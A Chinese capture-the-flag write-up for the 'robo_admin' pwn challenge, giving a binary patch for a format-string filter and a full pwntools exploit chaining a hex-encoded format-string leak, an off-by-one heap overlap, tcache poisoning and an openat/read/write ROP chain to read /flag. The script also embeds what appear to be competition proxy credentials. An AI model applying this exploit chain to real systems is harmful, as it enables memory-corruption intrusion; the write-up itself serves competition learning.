0x00 前言

人生中第一次去湘潭, 虽然这个比赛很…另一题是内核, 看不懂…

0x01 题解

robo_admin

机器人管理系统。(连接代理后访问 192.0.100.2 9999,请提交 dart{}中的内容, 附件包含题目附件和 fix. Tar 模板,请在 Fix 环节上传 fix. Tar 进行修复,注意压缩包是 tar 格式,并且 fix. Tar 不要带目录压缩。公告输入会经过解码,评测也会用编码后的格式符进行测试。请同时检查 set_notice () 与 show_status () 两处逻辑;若拦截了解码后的危险字符,错误输出中应包含 “[X] decoded input contains illegal chars”。)

沙箱 & patch的小坑

line CODE JT JF K ================================= 
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x04 0xffffffff if (A != 0xffffffff) goto 0009
0005: 0x15 0x03 0x00 0x00000002 if (A == open) goto 0009
0006: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0009
0007: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0009
0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0009: 0x06 0x00 0x00 0x00000000 return KILL

ban 了 open 能用 openat 代替, execveexecveat orw 读 flag 就行
patch的时候有点小坑, 我是 wsl2 的 ubunutu 22.04, patch 的时候用

patchelf --set-interpreter ./ld-linux-x86-64.so.2 --set-rpath ./ ./robo_admin 

会导致 bins, heap 等命令没法用, 换成绝对路径就行了

简单分析下逻辑

程序可以分两大部分, 先是这个类似登入处理的, case 1 是一个往 dest 中输入内容的功能
过滤了 %$, 中间的 sub_1528 实现的是一个把 \x 为前缀的字符串转换成字符的功能, 例如把 \x61 转换成 a. 但这里没有对 %$ 做检测, 所以在 attack 的时候可以利用这点

Fix

由题目描述, 应该是需要在这里加一些功能, 去过滤掉 \x24 ($)\x25 (%)
这一句就是赋值语句, gdb 看一眼
所以这里 patch 一下, 对 dl 寄存器做个 cmp 就行了

from AwdPwnPatcher import *

binary = "./robo_admin"
awd_pwn_patcher = AwdPwnPatcher(binary)
illegal_addr = awd_pwn_patcher.add_constant_in_ehframe("[X] decoded input contains illegalchars\x00")

assembly = """
cmp dl, 0x24
je failed
cmp dl, 0x25
je failed
mov [rax], dl

failed:
lea rdi, qword ptr [{0}]
call 0x0000000000011D0
jmp 0x15e3
""".format(hex(illegal_addr))

awd_pwn_patcher.patch_by_jmp(0x000000000000160E, jmp_to=0x0000000000001610, assembly=assembly)
awd_pwn_patcher.save()

自己写了一个比较简陋的, 因为比赛中是 Itsflicker fix 的, 这个我也不知道能不能过 check, 大致效果如下, 应该是可以的吧 (心虚)

Attack

利用 case 1 设置 dest 后, 来到 case 2 会有一次格式化字符串的机会, 这里可以用来泄露 libc, pie 等需要的东西, 以及 case 3 登入需要的 token. 在函数开头这里, 把 token 读到栈上了
刚好也是在栈顶啊
登入 admin 之后是一个菜单堆
申请堆块逻辑如下
没什么问题, edit 处有 off by one
无 uaf
构造这样的堆块结构

malloc(0,0xf8) # 0
malloc(1,0xf8) # 1
malloc(2,0xf8) # 2
malloc(3,0xf8) # 3
malloc(4,0x100)
malloc(5,0x200)
malloc(6,0xf8)

Edit 堆块 0 ,利用 off by one 覆盖掉堆块 1 的大小, free 掉之后再申请回来

edit(0, b'A'*0xf8 + p8(0x11)) # 0x111

free(1)
malloc(1, 0x108)

此时堆块 1 和堆块 2 部分重叠, 相当于一个堆溢出, 利用这个修改堆块 2 的 size, 覆盖为 unsorted bin 大小, 方便后续构造出堆块重叠, 顺便恢复堆块 1 的 size

edit(1, b'B'*0xf8 + p64(0x521))
edit(0, b'A'*0xf8 + p8(0x01)) # 0x101

free 掉这个 unsorted bin , 然后就可以去割这个 unsorted bin 了

free(2)

malloc(2, 0xf8) # 2
malloc(7, 0xf8)

效果大致是这样的
此时 free 掉 3, 就能通过打印 7 来获取 heap 加密的 key, 反过来 free 7 打印 3 也可以, 然后就是利用这里或者前面的堆溢出去 tcache poisoning , 把堆申请到栈上, 栈地址可以在前面的格式化字符串泄露

free(7)
show()
ru(b'[3] name=aaaa used=0 cap=248 desc=')

heap = uu64(r(5)) << 12
leak('heap')

free(2)

ret_addr = stack_addr - 0x30
edit(1, b'B'*0xf8 + p64(0x101) + p64((heap >> 12) ^ ret_addr))

malloc(7, 0xf8)
malloc(2, 0xf8)

效果如下
alt text这个栈地址刚好是菜单堆中选项6的返回地址-8, 因为 glibc 2.35 malloc的地址必须是16字节对齐的, 最后写入orw即可

from pwn import *
from ctypes import *

context(arch='amd64', log_level = 'debug',os = 'linux')
file='./robo_admin'
elf=ELF(file)
libc = ELF('./libc.so.6')

choice = 0x001
if choice:
context.proxy = (socks.SOCKS5, '4.dart.ccsssc.com', 26470, True, 'hllj78qu', 'b2hgrb8e')
port = 9999
target = '192.0.100.2'
p = remote(target,port)
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
clear = lambda : os.system('clear')

def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,gdbscript=cmd)

def malloc(idx,size):
sa('> ','1')
sa('Index:',str(idx))
sa('Task name:','aaaa')
sa('Desc size:',str(size))
pass

def edit(index,content):
sa('> ','2')
sa('Index:',str(index))
sa('Write length :',str(len(content)))
sa('New desc bytes:',content)
pass

def free(index):
sa('> ','5')
sa('Index:',str(index))
pass

def show():
sa('> ','4')
pass

# brva 0x00000000000018ED
# brva 0x0000000000002481
# brva 0x0000000000001BE6
commend = '''
brva 0x0000000000001A4A
brva 0x000000000000258E
brva 0x0000000000002636
'''

sa('> ',b'1')
s('\\x256\\x24p\\x257\\x24p\\x2523\\x24p\\x2514\\x24p') # %6$p%7$p%27$p%14$p

sa('> ',b'2')
ru('Notice: ')
ru('0x')
token = r(16)

ru('0x')
token2 = r(16)

# leak('token')
# leak('token2')
print(token + token2)

ru('0x')
libc_base = int(r(12), 16) - 0x29d90
leak('libc_base')
libc.address = libc_base

ru('0x')
stack_addr = int(r(12), 16)
leak('stack_addr')

sa('> ',b'3')
sa('Token:',"ROBOADMIN")
sa('Password (32 hex):',token+token2)

# ========================================

malloc(0,0xf8) # 0
malloc(1,0xf8) # 1
malloc(2,0xf8) # 2
malloc(3,0xf8) # 3
malloc(4,0x100)
malloc(5,0x200)
malloc(6,0xf8)
debug(commend)
edit(0, b'A'*0xf8 + p8(0x11)) # 0x111

free(1)
malloc(1, 0x108)

edit(1, b'B'*0xf8 + p64(0x521))
edit(0, b'A'*0xf8 + p8(0x01)) # 0x101

free(2)

malloc(2, 0xf8) # 2
malloc(7, 0xf8)

free(7)
show()
ru(b'[3] name=aaaa used=0 cap=248 desc=')

heap = uu64(r(5)) << 12
leak('heap')

free(2)

ret_addr = stack_addr - 0x30
edit(1, b'B'*0xf8 + p64(0x101) + p64((heap >> 12) ^ ret_addr))

malloc(7, 0xf8)
malloc(2, 0xf8)

rdi = libc.address + 0x2a3e5 # pop rdi ; ret
rsi = libc.address + 0x02be51 # pop rsi ; ret
rdx = libc.address + 0x11f367 # pop rdx ; pop r12 ; ret

orw = b'a'*8
orw += flat(
rdi, -1 , rsi , ret_addr + 0xc8 , rdx , 0 , 0 ,libc.sym['openat'],
rdi, 3 , rsi , ret_addr + 0xd0 , rdx , 0x50, 0x50, libc.sym['read'],
rdi, 1 , rsi , ret_addr + 0xd0 , rdx , 0x50, 0x50, libc.sym['write'],
)
orw += b'/flag\x00'

edit(2,orw)
sa('> ','6')

itr()